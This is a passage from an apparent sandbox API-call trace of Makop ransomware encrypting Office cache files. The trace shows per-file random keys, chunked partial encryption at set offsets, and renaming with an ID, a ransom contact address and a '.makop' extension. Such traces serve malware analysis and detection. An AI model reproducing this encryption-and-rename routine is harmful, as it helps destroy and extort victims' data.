pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.734] GetProcessHeap () returned 0x48a0000 [0075.734] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0075.734] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0075.735] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.735] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0075.740] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0075.740] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0075.740] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0075.740] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0075.740] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0075.740] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0075.740] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.740] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.741] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.753] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.755] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.755] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.758] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.758] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.758] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.758] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.788] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.791] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.791] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.795] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.795] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.795] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.796] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.812] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.814] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.815] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.817] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.817] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.817] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.817] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.817] SetEndOfFile (hFile=0x124) returned 1 [0075.826] GetProcessHeap () returned 0x48a0000 [0075.826] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0075.826] GetProcessHeap () returned 0x48a0000 [0075.826] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0075.827] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0075.827] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0075.828] CloseHandle (hObject=0x124) returned 1 [0075.829] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0075.829] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0075.829] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0075.831] GetProcessHeap () returned 0x48a0000 [0075.831] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0075.831] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0075.831] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0075.832] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0075.835] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0075.836] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.836] GetProcessHeap () returned 0x48a0000 [0075.836] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0075.836] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0075.836] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.836] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0075.836] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0075.836] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0075.836] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0075.836] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0075.837] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0075.837] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0075.837] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.837] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.837] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x5ac, lpOverlapped=0x0) returned 1 [0075.837] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x5b0) returned 1 [0075.837] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.837] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x5b0, lpOverlapped=0x0) returned 1 [0075.838] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.838] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.838] SetEndOfFile (hFile=0x124) returned 1 [0075.843] GetProcessHeap () returned 0x48a0000 [0075.843] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0075.844] GetProcessHeap () returned 0x48a0000 [0075.844] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0075.844] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0075.844] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0075.848] CloseHandle (hObject=0x124) returned 1 [0075.848] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0075.848] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0075.848] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0075.850] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=8265165) returned 1 [0075.850] GetProcessHeap () returned 0x48a0000 [0075.850] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0075.850] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0075.850] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.851] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x3, lpOverlapped=0x0) returned 1 [0075.855] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0075.856] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.856] GetProcessHeap () returned 0x48a0000 [0075.856] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0075.856] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30) returned 1 [0075.856] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.856] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579524*=0x30, lpOverlapped=0x0) returned 1 [0075.856] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0075.856] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0075.856] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0075.857] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0075.857] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0075.857] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0075.857] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.857] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.857] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.874] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.877] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.877] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.879] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.879] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.879] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.879] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.889] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.893] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.893] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.895] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.895] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.895] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7a1dd0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.895] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.902] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.905] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7a1dd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.905] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.908] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.908] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.908] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.908] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.909] SetEndOfFile (hFile=0x124) returned 1 [0075.917] GetProcessHeap () returned 0x48a0000 [0075.917] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0075.917] GetProcessHeap () returned 0x48a0000 [0075.917] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0075.917] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0075.917] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0075.918] CloseHandle (hObject=0x124) returned 1 [0075.918] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0075.918] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.918] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all 